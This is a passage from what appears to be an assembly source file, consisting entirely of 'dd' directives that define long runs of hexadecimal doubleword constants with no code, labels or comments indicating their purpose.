0B8030DAFh, 0E2118031h, 0FC0B2E4Dh, 0D88D3072h dd 10370CB9h, 7B1FBC06h, 31B0FBh, 31C39A90h, 0BDA3D9ABh dd 30DD5A00h, 0EE7C3E55h, 0F265035Eh, 5D9F724Dh, 4E0048EEh dd 0BF462D5Bh, 42F103h, 0C45FFC10h, 0F06D70A3h, 877F163Fh dd 0EEEBA9D8h, 0E68801CEh, 47E8CA13h, 757B00DAh, 8FCF8101h dd 1F008B69h, 0C9F8254Ch, 0CD2BF9h, 0D838C0D1h, 0F9677FEh dd 1F296038h, 1480D34Bh, 0D97A9C7h, 0F4A80048h, 7E6A1353h dd 2900E6E7h, 0A650C95Eh, 3E5177E2h, 132E9497h, 9F003AE9h dd 298B687Eh, 0F60074E4h, 835F35B5h, 7AA081F0h, 0F76606AEh dd 59A27034h, 7DB2F800h, 0C2AF6CEh, 856703F2h, 12759A0Fh dd 0F8CFC7F8h, 97A428C0h, 0A0A7F577h, 49B9448h, 7ACB8ED8h dd 9A742151h, 0D7ED8A01h, 350F4590h, 11DC9B0Fh, 66038054h dd 13688E2h, 0D220894Fh, 0D89A8125h, 0CD006915h, 9E135C84h dd 7845D1C3h, 1BA03FA7h, 0DDD60500h, 88EFA4C7h, 37A88560h dd 0C3EBF625h, 463CAF90h, 0E0E81918h, 1FD6D828h, 0C3A09Eh dd 185DC86Fh, 66077BCDh, 3A387C01h, 40346191h, 0E85EECh dd 0EE7A21A0h, 78F97FF2h, 84FA7B00h, 4202D498h, 6D713BCBh dd 4E381980h, 0F9679C82h, 49BBE307h, 4823F4D8h, 0B6FBF062h dd 1F9F0053h, 91CC68FFh, 0F6003174h, 9CC442E0h, 0F2CE526Eh dd 0E6363857h, 7B9F1Ch, 611416F3h, 0A90064A2h, 0A5D9C3AEh dd 9DDA46h, 8469BB7Bh, 0A28EA87Ah, 48689003h, 0E0FEC202h dd 2E71D2h, 0D48AED5Ch, 0B5530737h, 6F4C7E00h, 0B641A4BBh dd 81E0A9h, 6305CF6Ah, 0FEFDE072h, 0C00F3FF6h, 171FC9h dd 0F40EE337h, 2075600Bh, 0FF40425Eh, 1BAEA300h, 0BB126287h dd 0A04300ACh, 0F0343FF3h, 5E1FF774h, 0A7405C8Dh, 44EBE965h dd 3C8F8E8h, 9FE07B9Eh, 1289AECFh, 1D108FACh, 0EBDA40CCh dd 7C37D5Dh, 0BAD00C90h, 0E078304Ah, 0A000F7B3h, 8D95203Bh dd 63D5673h, 8E23EEE3h, 46E8D075h, 9EFE3E00h, 943968B1h dd 2A850035h, 0A160935Eh, 7E00510Eh, 0BF8A199Fh, 96C9B1Eh dd 0F323DBA2h, 71CF4F01h, 294850A8h, 0EB08D1A3h, 47BAC8B5h dd 1E1F884Eh, 74969580h, 3B6EC16h, 35277D83h, 64A0C65Ch dd 0AE28B211h, 0A9EA8014h, 6E29B014h, 1B9E00A0h, 0A1560F38h dd 7A2A0F34h, 14FDC1F2h, 9F07C86Ah, 0C30D99BBh, 0D8908957h dd 9401077Bh, 3B2BC41Ch, 0B182E84Dh, 8ADFE759h, 0EB9B880h dd 0E0009186h, 0C515FDB1h, 429D6Ah, 5A3FBF9Fh, 6502C64h dd 0B466020Eh, 0B5FB8063h, 21360D1h, 7CA1DBA8h, 0A6C32547h dd 0B2261800h, 3474329Bh, 8F2400E7h, 3A9A1F65h, 0F4074B55h dd 2709FFF0h, 0FBC580EFh, 4B906C0h, 0DCBDBCF8h, 81FC0DEh dd 0DD0014A9h, 1DE99E22h, 0E3706Bh, 2747BD16h, 258EE124h dd 0C97F7300h, 7922A0AAh, 6EA8001Bh, 7B6B68D8h, 0D00AC27h dd 17085DA5h, 38508895h, 2D8EC2E7h, 0D3E0DDBFh, 0EEDED451h dd 0E8123F0Eh, 102F00CEh, 94955Ah, 8D20F456h, 43F247E2h dd 4D006B74h, 37A249F0h, 3FC8AE64h, 1B83BCAFh, 5234572Bh dd 20DED5A8h, 3DFB8F01h, 792F85C8h, 0F024C730h, 2AAF00EDh dd 22C176C3h, 0E43F23DCh, 70500E9h, 0DD1521C6h, 0EE98005Fh dd 0D9566718h, 7700A144h, 7ECDF0BEh, 0CD576F2h, 22BD1050h dd 0F7B0E059h, 302758C2h, 0E30422C2h, 1256CA21h, 66B15E10h dd 794DB183h, 0DAFB7211h, 8384FC02h, 863B858h, 0BDBF3B59h dd 87253888h, 0C8BE78EEh, 3FC2600h, 7C1CD950h, 0ECFA88F7h dd 21D4FD3Eh, 4E9C8038h, 1F2AAE14h, 3411BA42h, 84322138h dd 516F24Eh, 58442690h, 84051CE6h, 0D2FC43C2h, 51003FA3h dd 0FF0580EBh, 72B183h, 9945A8A2h, 1263E460h, 770E4CFEh dd 2E66980Dh, 62A1001Eh, 3C45C0A4h, 2980E3B8h, 8C80E276h dd 0A63FF2BDh, 15A8018h, 6E9F5494h, 58B763h, 0D0EC4Ch dd 58A0108Dh, 0CB6CE64h, 626690FFh, 800C3E30h, 0F255EF7Bh dd 817800E3h, 0DD4A7CA2h, 5E3DB3FDh, 0B58F84C3h, 5C872F15h dd 0C01F55B0h, 0B3F90061h, 23A9C881h, 0B575D322h, 0B0CB130Fh dd 0B4D881A4h, 0A88FBDCAh dd 0B58096EFh, 0BA0A104Bh, 5A501E7Bh, 150701BCh, 3EF42365h dd 0C5BB673h, 0DE677B62h, 0D33B1A80h, 88DF808Eh, 5B3AF8F1h dd 0BD57301Bh, 0ADD416A1h, 0B987D602h, 80C5A419h, 0EA263D4Ch dd 2EDD005Fh, 3E4D136Bh, 930958BEh, 51F375h, 2781B2DDh dd 363100EDh, 2853F904h, 0F6159C8h, 82019016h, 884EA843h dd 649809h, 6921172Dh, 79945F2Ah, 5368DF63h, 0F86FA849h dd 0D690CFh, 0F978E03Bh, 977A7D58h, 4459E303h, 833626h dd 937FE8E0h, 7DF29874h, 0BFBE5700h, 55DE0768h, 9F99CF5Bh dd 38D1820h, 0CCF7FEE2h, 0A606FAACh, 30F698FDh, 27AB0131h dd 2858A20h, 0A9FC40FEh, 0E5034BE3h, 67DDF2B9h, 143D9070h dd 58393D4Ch, 56F42880h, 0EBBFB437h, 1DD7201Fh, 32608B80h dd 1124F7Eh, 0A0D35EE6h, 0E82237DFh, 50000EFAh, 2334B495h dd 86DBBFh, 2063F149h, 8B9326D5h, 42C9B200h, 83B3EDCDh dd 0CB5B0143h, 74C77876h, 0F0FFD995h, 240FD60Bh, 9C624BB0h dd 0EB8B7380h, 1F2A6E23h, 0C036F88Eh, 5208B0FEh, 15163721h dd 151CE868h, 0F1FAF80h, 0F3C5F9Ch, 0C1C54FDh, 0A012C3E7h dd 0F8522A91h, 740E3AF2h, 0FFC8AFAh, 1926A0C7h, 44DB5Eh dd 0D198F1AAh, 7A041D41h, 0E5004374h, 9361D846h, 0AB24C2h dd 365DEF42h, 7F57598h, 70F4F800h, 8C35F9B5h, 21C1004Eh dd 535548E8h, 0C900C522h, 601BCC99h, 4B648Dh, 68F09039h dd 0C05065F8h, 28807702h, 8072C748h, 67327D81h, 0A8D0F5EDh dd 0A5170356h, 0C8F0772Fh, 0BCB84898h, 4E28CC62h, 0C71E2112h dd 0E5AB0010h, 25E180CAh, 0A0AAE640h, 895C2228h, 2086086Fh dd 0A610CDEAh, 3C77EC3Ah, 2F14028Ah, 92181463h, 18A279DCh dd 378029C4h, 46F2A744h, 28C96EDBh, 2028137Eh, 5B1019E3h dd 31184398h, 0C51A293Dh, 402D0E88h, 83405F1Dh, 0D7B863h dd 204AFA40h, 0DD11A58h, 80FE5239h, 31007D5h, 0D95C8Eh dd 0B43290E8h, 6B0C43C4h, 64A46E1Dh, 0E28985C0h, 1E4195h dd 843B2FC3h, 7A15EE0Ah, 18965D00h, 0F83C2D1Dh, 0A504008Ah dd 73957993h, 0B2018430h, 0F316A3ABh, 0F8C310D0h, 3E4240E4h dd 0FF806378h, 0A34CE94Ah, 0E3A0853Ch, 920043A4h, 52F3C49Bh dd 37D5C9h, 44EE18E7h, 38C7DF7h, 400E34E6h, 81B2E05Fh dd 0C4DD2DFFh, 1E2E4BFCh, 1F275DBAh, 0B5528274h, 3AE08EBEh dd 6C000A91h, 1DE4C07Ah, 0C649F6h, 5DE81893h, 4639A080h dd 0CB94D00h, 0A6BD9957h, 3B831F44h, 0D7D1063Ah, 4A0056FCh dd 0F0AE95A0h, 0A3DB28h, 770C5360h, 0BCC988D7h, 0BE09D81Dh dd 617E878Fh, 536E89F9h, 5D17BDCh, 0FFE8CA78h, 0B1C8008Bh dd 307A9F5Ah, 3C762300h, 8237DE35h, 0AC810021h, 857BF1A6h dd 92001B0Ch, 2B8F42BCh, 0F0A92AE5h, 0C4A51F53h, 8698589h dd 9D578057h, 0F01FED6h, 8BED87FFh, 0C0DFAC80h, 0C2AE61h dd 6E74FCECh, 2A26357Bh, 765855E0h, 0F8AD0B35h, 0DD8E94h dd 0A4F1FEFAh, 58CC0021h, 16C4DBDFh, 3C14AB29h, 0A8423Bh dd 0F3642248h, 0C11018h, 9AE80A8Ch, 70A7291Bh, 0EF83C0EBh dd 11D4DB00h, 1C0AB516h, 31EE16F4h, 0BC0A0045h, 0EF27B250h dd 0A260E300h, 91F47E0Ch, 7C137102h, 433200D3h, 0CA96330Eh dd 99019DDDh, 0A604B681h, 7AD8DA84h, 68E10059h, 5E6EA2A5h dd 0BD005B23h, 4428FF9Ah, 4C4DCFh, 62A573EAh, 2359D8C0h dd 0B7C71900h, 0D4676F2Dh, 4C6C0024h, 12A0DDA6h, 6E004EA2h dd 0DB83B8D9h, 4F9E04h, 0D1272D45h, 328FBCE0h, 65A07C00h dd 0D23F5CDFh, 5DF700FDh, 20B8757h, 8C072174h, 0F84DC56Ch dd 6399B700h, 37D90733h, 0C05EC8F6h, 0B2C0C319h, 1D846B58h dd 49C022F5h, 0C5D22A61h, 0B1E202h, 67D9D041h, 8642720Ch dd 5C00947Eh, 0E74F1F0Eh, 9B6452h, 0E5CF2A27h, 9A893615h dd 0EC3F350Eh, 0CC08C095h, 7BCD6C7h, 0DF91DCA0h, 0E3AD9055h dd 0FB0012BDh, 0D399B12Ch, 2A74BB7h, 0E9D238BBh, 0D8408EF0h dd 0E8F64612h, 576A6F00h, 79AA4DDFh, 2E3A7B9Bh, 56F790h dd 0D961312Ch, 1B007659h, 352FF4D3h, 3543B9Dh, 9CAB5763h dd 0D5C84308h, 5100E753h, 0B5D22975h, 1CB803CCh, 0E24078h dd 6B2F6EACh, 5D07D884h, 0BCC2A014h, 0DA1E0270h, 0EFD5004Dh dd 4E8D165Bh, 7400A581h, 0CF31DB0Eh, 2E9A3Dh, 83ACF03Ch dd 8F2DF8C6h, 3ED12858h, 9F908740h, 504B355Eh, 0AE3F0F1Dh dd 5DE10D9Bh, 44DF3C6Bh, 0FF2380ADh, 73004B15h, 40F0333Eh dd 76438Ch, 0D730870Dh, 5978FB5Ah, 956C7900h, 6647050Ch dd 975D0EDEh, 801FEB2Eh, 268D5817h, 0ED580208h, 32FE0141h dd 3D76AA2Dh, 962AF60h, 658BADA1h, 0E0980080h, 2C01CBD5h dd 0B51895F7h, 0DAF4DF7Eh, 1A5F4E2h, 76FED84Dh, 0CCCA123Fh dd 49007AC8h, 0FC28CBAFh, 78096Fh, 0A7F9CC2Eh, 0B079A69Ch dd 0AAEE5000h, 7D410F43h, 57FE9Dh, 0DA4F6844h, 0ABCDFE73h dd 8ABBC004h, 0CB80EB43h, 5ED5CEEh, 16F9370Fh, 1B04C076h dd 2C07AACEh, 0E2EE51F1h, 0E8E1D817h, 22C4D940h, 0D47607A9h dd 60B99C46h, 3D7E53CCh, 0CE39AA09h, 814107BAh, 0B1AF6A40h dd 0E2164CABh, 0FB2EE72h, 0A75B4446h, 0A07184E0h, 0DE004792h dd 70B1765h, 98AD3Dh, 5EA9E5A3h, 6FFA5A2Ch, 8019BF00h dd 0D24E96E1h, 485248AEh, 3567FB0Eh, 835EA8C0h, 44070308h dd 1AD894C0h, 55A036F0h, 3E137F18h, 0A239B0DAh, 11FEAE80h dd 0C2589D1Ah, 0F4BB5300h, 7F1BDCA1h, 291E299h, 29C6A9FCh dd 0C0907946h, 0B300634Ch, 0DC207318h, 311268h, 9415901Ah dd 0CD1ECCF7h, 8C30B900h, 0EEA3CE8Fh, 83990091h, 65F11C5Ch dd 0F7003355h, 0BB9205BDh, 311002h, 69E2D0F8h, 76F652C3h dd 8812A200h, 0CEDDA019h, 0F4F5127Ch, 0EED707EAh, 0DC14E0E6h dd 0AC398C1Ah, 0B3A900FFh, 0DE7B729Ah, 6EB70055h, 4CCF527Eh dd 5B012862h, 7C39B1DCh, 8F4E1BDh, 8B480082h, 0BB83F1Fh dd 8400C267h, 32B3AF2Bh, 9539B5h, 93442619h, 2353F421h dd 790D2A05h, 5C918F59h, 0E7E06D67h, 42920FF8h, 8000815Ch dd 0DBCB4052h, 0A62F6918h, 0FABBA2h, 99F02ECDh, 0AD76BFF9h dd 0FC09E577h, 383177h, 0F62D62B8h, 0BC7A80h, 0B77F4BA4h dd 0D43A44E4h, 997B2B0Eh, 3FB1E015h, 173F050h, 0F4CA3F7h dd 0DC0E20B4h, 7481A92h, 942700B0h, 43E1F078h, 82F400A7h dd 1974340Bh, 3A00062Ah, 30F31CDh, 9CF849h, 0BF82EF90h dd 2CC16BC9h, 7E78373Eh, 0E0F67A00h, 0F19BA13h, 0CA7AD9h dd 0D579C484h, 0B7CB11BFh, 7EB8FF74h, 0E206A500h, 778E05DBh dd 6AFB057Eh, 801AF0D0h, 349A10B0h, 0FEC8C400h, 660ABF49h dd 0CB021h, 3CE433DFh, 48161F4Fh, 0E9C0521Ch, 95A8DC80h dd 9E3D36h, 72977E9Ch, 5D548760h, 456F2300h, 2A824809h dd 49C100CAh, 0F662E544h, 4C244FC5h, 0A52658ACh, 3BEF4700h dd 1FA7199h, 2B11E4A2h, 82A0B1E7h, 0CAB22211h, 7F74E0C8h dd 856F00CFh, 7A5FB6CCh, 7700BBB5h, 2F1E67E6h, 0A403B4h dd 2D020639h, 1FB31DE9h, 269C3Bh, 997ADF5Eh, 3820DDF5h dd 80038F64h, 183CCC84h, 0CB6D76E0h, 239260Fh, 36BAA071h dd 0B64CABh, 6253D4D8h, 0C46D3A23h, 1307001h, 8C03392Bh dd 0F8F7F4F8h, 74F6C02Dh, 669055C6h, 85C2E500h, 4FB12A77h dd 2471F487h, 15B58A8h, 0CC3312DAh, 8B27D825h, 0B0837200h dd 714C81F1h, 3DC400BEh dd 6961AFD2h, 0B800E731h, 0DDAEE2BCh, 905FBBh, 6DF11AB5h dd 1894E8F6h, 7A321D00h, 2DE3DD6Ch, 39DEC5Eh, 20CB6E22h dd 1FF12C73h, 1B9840B7h, 0E000A534h, 0EA64595Dh, 7D767D8h dd 0D3EC6EF3h, 0AF80D0DDh, 0CD1C3824h, 1B40F5B6h, 0E14D30B7h dd 190E24Ch, 6E59997Dh, 0F4356198h, 0DF00B289h, 0A9A4F3DDh dd 1C82048h, 0C3F79EF2h, 0D63CFF72h, 7C429840h, 0D4D08350h dd 480071ECh, 0AE208A15h, 3F84E32Dh, 1196EF56h, 0C8D2007Ah dd 0A3AD875Ah, 0B40A1D00h, 84ED82EEh, 72F31D8Ch, 4F050046h dd 4C2C2189h, 0E47C58h, 0F4DB761Fh, 7B1E4Eh, 0B1134715h dd 35E8FD1h, 0AB0071F6h, 54BDF3DFh, 779C2629h, 0FDC30002h dd 0F5E3FF60h, 6E00FBFAh, 47980A0Ch, 2E3E9CD0h, 0A9B2A6h dd 0DB0746E6h, 0EB16656Ch, 840069CFh, 38ACD2Ah, 0AB11017Eh dd 85991FEAh, 0ED5C20FBh, 579D6500h, 2A0FA37Fh, 398F063h dd 0EE545233h, 7298D4B7h, 0B655C192h, 324B609Ch, 6F18C27Bh dd 0C4498D69h, 583E25E3h, 0D640C030h, 0FE03D901h, 5EC20636h dd 3C3C30h, 1F044C75h, 486EF651h, 56657201h, 87BC9190h dd 0EEAEDCh, 5850AC84h, 76802E29h, 0C9DBF404h, 180A1E1h dd 777865Eh, 313AC73Eh, 52A78FD9h, 0DF501076h, 8900CB10h dd 0DE97022Bh, 1C5F79Fh, 47271235h, 6054DD5Ah, 5B03F568h dd 0F756B190h, 0CB8FC0E0h, 0BFD1E2Dh, 49CCC3EEh, 8BA0297Fh dd 91006C32h, 1C72ED47h, 0F2EE14h, 0F702B245h, 84E4A48Dh dd 9EE8E600h, 682BD975h, 6F780C1Ah, 0E4FE5DEBh, 9D6ADB05h dd 0FFC0971Eh, 8FB5F4h, 0F6E84A2h, 4CC4B3CDh, 182C6600h dd 86370632h, 0F74B00C3h, 570874ACh, 104EA0Ah, 0F6094FFAh dd 71E868A1h, 19350056h, 8754DB95h, 96007665h, 0DD5DD1C0h dd 1D46D601h, 40FD1E78h, 0ECA2F762h, 72005AE4h, 4CC75D51h dd 1EAF0BAh, 88C9AFE8h, 30DB4FADh, 7AF4A476h, 0B893A500h dd 9FD0EDD7h, 0D5FA81h, 77C3FC3Ch, 0DB5D2483h, 3A6F4205h dd 0D002A1FDh, 0C2CBCD7Bh, 0ED00062h, 0A023EA8Eh, 434AA3h dd 0FC8167C6h, 1B6057B9h, 0CE875204h, 578069A1h, 34855Eh dd 0E344DE77h, 0F571285Ch, 0A6040812h, 9F957101h, 0D040BA0Eh dd 34FFB81h, 0DF644B2Ah, 87D05EE2h, 5302AD2Ch, 20D5BB0Eh dd 0D7FCC038h, 6456000Fh, 0CA2E505Eh, 0F000D277h, 0F39FE761h dd 7E25A4Ch, 0EDDD2A1Ch, 0AEE1A059h, 0FAA0D9C7h, 0BF7CD3FDh dd 72040B03h, 0EA7E608h, 0C254D25Eh, 90C15C60h, 87012EC7h dd 0D12BBA9Eh, 0C040E00Ah, 0E0C9D026h, 0A3920C78h, 0FBB8A714h dd 83713D00h, 28D26EE5h, 0B8153C18h, 0C059111Eh, 0FCDA5A9Eh dd 9626CD06h, 5601655Dh, 8D61298Fh, 771AC2F4h, 0E2450084h dd 0BC66FA6Bh, 6248FEBEh, 820075C8h, 425081B5h, 0EC1A560h dd 86AF4364h, 40738F00h, 0B001C0B3h, 25E1A149h, 0BFC8F323h dd 0E31400ABh, 0A73F3213h, 0CE006806h, 619076DDh, 0B08070C7h dd 0B3C23D37h, 0C0501E4Bh, 98A17F0Ch, 8C024D20h, 0D96E4C7Dh dd 40B4E291h, 1D96FAA2h, 40740E01h, 0B3CAD5ADh, 6C481DA5h dd 0C191086Ch, 8B781D7Fh, 0C6099BF5h, 0C661150Fh, 301895F1h dd 72005961h, 0CFA362E1h, 0C71211h, 0A250F523h, 0E9D5689Ah dd 0ED44B100h, 0C9EF571Eh, 7BC21D3Ch, 828D0091h, 0CA14A0B7h dd 0D2091001h, 8E85ED8h, 0AC70C0h, 99BA81A1h, 0EAD4D33Fh dd 1EE9539h, 9854261Eh, 5DF8FA44h, 7C6D0B6Ah, 5FD47Bh dd 0C7397613h, 7870B80Fh, 39FE74D6h, 7A00ABFCh, 0DB85FBC9h dd 4B000DBFh, 0E5513426h, 903CD9h, 32C8D0Ch, 59952904h dd 795F0B04h, 17C19140h, 77603A99h, 37C23953h, 0B0800D3Dh dd 0DC708CF2h, 0D33E6320h, 30F88041h, 4F9B59B1h, 0F1B2002Dh dd 80DA1803h, 360082E8h, 0EA73064Ch, 0EA869F81h, 1853EFFh dd 32912202h, 0E180CF1Eh, 3AED763h, 95CD4000h, 0C0097504h dd 4BF300FCh, 38105F4Dh, 427032DBh, 0F77D8500h, 0A863B99Bh dd 83DF2621h, 17F00020h, 0C4ECDC56h, 375E2807h, 0A01E269Eh dd 1FC653F4h, 0FD190720h, 1059DA54h, 0DE0B90Ch, 11DC6B00h dd 0CFB52485h, 4FCB00A0h, 8EB36643h, 4124E1DEh, 68004B5Ch dd 8324D7FCh, 0BDB9003Ah, 0CF6E7752h, 9009EC6h, 76027B82h dd 13C3DEh, 2989EF07h, 439386Dh, 4C408B00h, 0F3B48E87h dd 0A7F4024Dh, 0C08A8081h, 149DD760h, 0C7C20C00h, 0DF74A8CFh dd 1F2E006Dh, 4BE0328Eh, 0E5079AEFh, 125E6B65h, 41BE45B0h dd 52C10096h, 3D99B82Bh, 0B5002A0Eh, 0DF5C0648h, 4E7A722h dd 6926E389h, 53AE80D0h, 8F010DCEh, 9FFD71BAh, 12C04427h dd 4830013h, 0D6CDB39Dh, 74CF8A2Eh, 91714023h, 0A6E71Fh dd 0DC7B78FBh, 10281A1Bh, 84C86800h, 0A28683D4h, 0FFF40042h dd 25407FE8h, 573F9899h, 0CC6B8079h, 0FBB51D13h, 0F917077Bh dd 4375DCE0h, 0E901041h, 0B70367CAh, 19D1AD03h, 0D060A74Dh dd 0FCEAA3Ah, 0D5CFBF1Eh, 1D8DE760h, 3F059224h, 0F2EAB7B5h dd 80BBE01Dh, 0CD1A5509h, 0BEA9E3h, 1302B891h, 0D3362AD0h dd 0CCA34907h, 9009763h, 834B17h, 45D8A915h, 817AC2A0h dd 0F10046FEh, 37B66239h, 48233E05h, 6000503Fh, 20F84870h dd 1B3DF7F1h, 0B5D81CBAh, 35A12A80h, 0B88C4190h, 23B8004Ch dd 0FD3D2CB4h, 0DD00DC06h, 3CF84C1Bh, 357112Ah, 0FE9ED00Bh dd 0B6C06BF9h, 13386546h, 298A0043h, 0CFAC9A66h, 60DA00A1h dd 6C0E58B2h, 8D1C4E38h, 8B416763h, 5B5936C4h, 9CE8260h dd 78327903h, 3E89D800h, 133C10D5h, 2D4C801Ch, 0DFEEF6F9h dd 9DE900FCh, 488C3804h, 361DC2EAh, 0C800BE30h, 51F5D537h dd 0AA6A0034h, 2CF26288h, 5824669Dh, 0F700DC38h, 1E4E087Eh dd 0BD30003h, 4D600110h, 8C00AFD9h, 0DDAE2C83h, 0EAC31Dh dd 0A4F28B24h, 0E3ECBECh, 0EBA01450h, 1C61B43Bh, 0AC80AD1Eh dd 2912A708h, 6C0D007Eh, 0D8EB7CFFh, 84003909h, 73CF2350h dd 186D90h, 1E61A664h, 0C403DB15h, 0F98B201Fh, 8D6FC040h dd 7EBA730Ah, 0FD683AB9h, 1B33A500h, 0C61ADD82h, 80F58C3Bh dd 0FEC04EB3h, 6070EC85h, 430B900Fh, 104CE616h, 0B8E20048h dd 0F4C4C36Ah, 50A4005Bh, 9A6CCAB4h, 0A20FD1AFh, 2041E601h dd 26841B9Ch, 63B71E18h, 2E800F15h, 96E452A0h, 3B004231h dd 2D9A1FBAh, 0CD1739h, 22345DA1h, 0C29362B2h, 915639h dd 0BE9B5778h, 0A701BFh, 82EC2BD4h, 47C343Eh, 0DF3C9303h dd 0ABC5A112h, 0C2B9A90Ah, 1E66B5E8h, 7F21Ah, 50ABDCE6h dd 0E00CB6Ah, 0BB32EC18h, 3C4BCC1Eh, 0F080B752h, 0E1C52DDFh dd 8A004244h, 49824EC8h, 0C184FCh, 6F6EA7BFh, 2E3207E4h dd 61267F07h, 10806933h, 79B80Dh, 9B52516Ch, 5A03F0FFh dd 88305001h, 1315CA4Eh, 3531D0h, 0CFD8491Ch, 64C66EF2h dd 8175FCA0h, 0B50F2676h, 20C87EF3h, 0B051CB2Ah, 0AB3539D0h dd 4A4116h, 73886A21h, 71013A11h, 30046BB9h, 0E540B279h dd 58CD0DFCh, 0F401A051h, 0D2183990h, 5F7F87Fh, 8A502700h dd 0C92B1546h, 68A0020Dh, 71DBBED6h, 0D0009663h, 0C140C4ADh dd 0AC9D6Ah, 161FE2B6h, 0E89B2B60h, 8D73D0B8h, 0BF0058E4h dd 0CF84517Fh, 3BED2F05h, 0BB80B7B9h, 0F541146Ch, 0A43C081Fh dd 7E200C31h, 7D7B6093h, 0A37200D3h, 0EA075C8Dh, 5A00491Eh dd 0F7C3F3DFh, 1C6206F1h, 0FB5E46h, 71F57267h, 0B4980587h dd 0CBE91907h, 939EF640h dd 0D0C05800h, 0EA854E89h, 930100B9h, 3E5AFB6Ah, 33008C17h dd 4D428B15h, 0BC2BC5h, 73213BF9h, 6B784BD1h, 46ABE100h dd 6EAEA316h, 4E82002Eh, 1FE31BE8h, 3001A9BBh, 0BDE76FC7h dd 40707FE2h, 74FAC5h, 84AC458Ch, 0B490183Fh, 0F2F56A07h dd 0DC209ACFh, 7A1EBEEh, 397CA35Fh, 849FE042h, 7400A009h dd 64D7759Ah, 0F8D29E8h, 59F1D3A3h, 0FA53BD00h, 6F04F8CFh dd 0ABDD2A44h, 0BCF63080h, 188E0058h, 89B28D7Ch, 0CEF4AE9Eh dd 80623A00h, 0BD2DED08h, 0CDB0E01h, 80FF6B32h, 0E4EE3CCh dd 791D7A20h, 840134Ah, 9BD88330h, 0C87D005Bh, 0FBCF9C3Ch dd 0A50F76B0h, 0D401D29Fh, 2B060ED6h, 0D33CE0E8h, 0E4DA16F9h dd 3C9E48D5h, 0BB108301h, 0DCCAAFD0h, 32005C2Ah, 5E2CF804h dd 51B72325h, 77D4F48Fh, 0F48D071Ah, 0A041AB7Ch, 5A2B9475h dd 26D63600h, 734C4E0Bh, 55D9001Fh, 7D042A5Eh, 1C0032FFh dd 3B61E7F2h, 50A9916h, 0F1AAB365h, 8590904Bh, 930020CCh dd 495FDDD2h, 5033A6Dh, 8BFFC5F1h, 0B99880C2h, 403A8EEAh dd 7DD683C9h, 0C091FCh, 0BE47058h, 0E678D704h, 0D460CE01h dd 648E3FD5h, 5367420h, 307F350Ah, 226000B9h, 6D753169h dd 93A4B338h, 0F01D430Dh, 833C0538h, 0CCC07FC8h, 906E3133h dd 1DB0E674h, 0C972DDB3h, 9480DAA4h, 0E1B6F5CEh, 2D0F167Ah dd 0B4532A11h, 203700BAh, 395B5EE0h, 0BE1500D2h, 75F884B8h dd 0D17C7705h, 0BDEB3400h, 21E0D3BFh, 0CFCA0038h, 7062AF2Ch dd 6007922h, 9DE27183h, 3D01E35Dh, 551E782Bh, 0E7526A2h dd 6B0033A7h, 0C9E94F88h, 0B7803500h, 0A977555h, 0F1C000FCh dd 0DA5AA7BDh, 6500D63Dh, 274B1993h, 66C59Ah, 0A8225F38h dd 539BD9E6h, 0E3E5D000h, 14B35967h, 748E079Ah, 67EC4DE2h dd 6AF0A007h, 430047ACh, 0B7558FA7h, 0F947CD1h, 51A5750Ah dd 58D271C0h, 900789Dh, 8EFA431Bh, 392C236h, 6A41F853h dd 0D3B04E2Eh, 0C61C5F40h, 0E2C17456h, 0DCC8AB68h, 3ED6ECF4h dd 0B9803DC1h, 0F1CF6A5Ch, 7C00602Bh, 0E79EC396h, 0F4FDEBF3h dd 0D193002Eh, 2655566Dh, 0CE005210h, 0CD12F192h, 7A31BD27h dd 14B6000Dh, 0A188B884h, 9E173946h, 10037603h, 0D8163602h dd 0FAAFD1A6h, 0B250077Ah, 301021F0h, 0AAD2C84h, 0F1429307h dd 1CB4770h, 22BD3628h, 963DAD4h, 874FB82Ch, 0AD92CE80h dd 0E107C770h, 4E562B5Fh, 552499A0h, 343226E9h, 434984F0h dd 17D7C02Fh, 0FD24DDBAh, 1D5E48C1h, 0DF49B259h, 0B4948046h dd 0D0B11F4Eh, 50551309h, 94A3D865h, 51A60020h, 0EF477627h dd 0AA1ACA00h, 0F839151Bh, 7852027Dh, 14989D90h, 83B0C8C0h dd 1D03C9EEh, 0BA23CD36h, 85CF081h, 0B750003Eh, 0D7F8AE1Bh dd 5600C10Ah, 2FB31E96h, 3C09170Ch, 8980F791h, 181DEB70h dd 11004DE0h, 745362EFh, 723E837Ch, 70930CCAh, 0B7A8108h dd 3B4B2D03h, 951B2E6Bh, 16FA71C0h, 5FEB00A4h, 0E2DD41E0h dd 0C8E46B56h, 59323100h, 4C9D1DE6h, 0CDB00337h, 0AE016A5Dh dd 0FE658080h, 4415FF00h, 408B0D43h, 0CC4100F4h, 3B551BDDh dd 491C3A5Fh, 8F170AEAh, 0BA6205ABh, 6CF4805Bh, 4600B3E7h dd 0BBF11FEEh, 0BF7973h, 356AFE51h, 1669B49Fh, 60E1F303h dd 0F8102843h, 68BA79h, 0AF0D9EDBh, 51067F95h, 3B045E75h dd 4DC53440h, 8764DCh, 15FB42FEh, 0A5068ECFh, 20C0EF76h dd 0A2E69AAEh, 8FBF008Ah, 7CD81A7Dh, 0C000D110h, 95C15408h dd 139CC486h, 0BD502Ah, 0FA654574h, 6A3C58CDh, 663E0041h dd 992DA998h, 3BC5002Eh, 70176862h, 0A22E9610h, 0A30E97DEh dd 5AC30745h, 736E14E0h, 3D38E4B2h, 731B61h, 73A842Fh dd 2A921A46h, 282BE17h, 0B9377400h, 1D305CA1h, 0C0F71FABh dd 0D5A2DAD0h, 450028B7h, 0B8CC9AA0h, 0EDF636Fh, 6BEBB9F9h dd 7910C440h, 0DC0043B7h, 0CDA798E8h, 643D94h, 0AFB9FA26h dd 185ACEE5h, 809EA43Eh, 0C14190C4h, 1A01E5Bh, 0D96D9C05h dd 70D64CFEh, 900102Eh, 8D5F3D95h, 1F87DF75h, 61CDDBh dd 2F18743Ah, 0E0004D19h, 553BE785h, 1CD33014h, 415ADD94h dd 2A62A760h, 7795C8E0h, 0A400E176h, 9206F40Eh, 0E25ADA0h dd 8C381F7Ah, 0A39A8DE0h, 6E002A67h, 16BCBEECh, 730BC06Ch dd 224E0048h, 0EEE96DF6h, 82FB9D07h, 695DF830h, 0E566050h dd 2699715Fh, 0D5FAE2h, 1482E31Ch, 8CE29C2Dh, 3DA1D500h dd 0B45AF426h, 0C5000A6h, 2ED0D95Dh, 2100DE86h, 3F44ADCBh dd 2D5533D1h, 0C1D0B1EFh, 240098F4h, 0A0BC180Dh, 254AF878h dd 7880602Fh, 0D202B732h, 9376CC05h, 2480A34Ch, 58F2C8E4h dd 4A00435Bh, 242FC08Ah, 0A7039E49h, 0D060F7F3h, 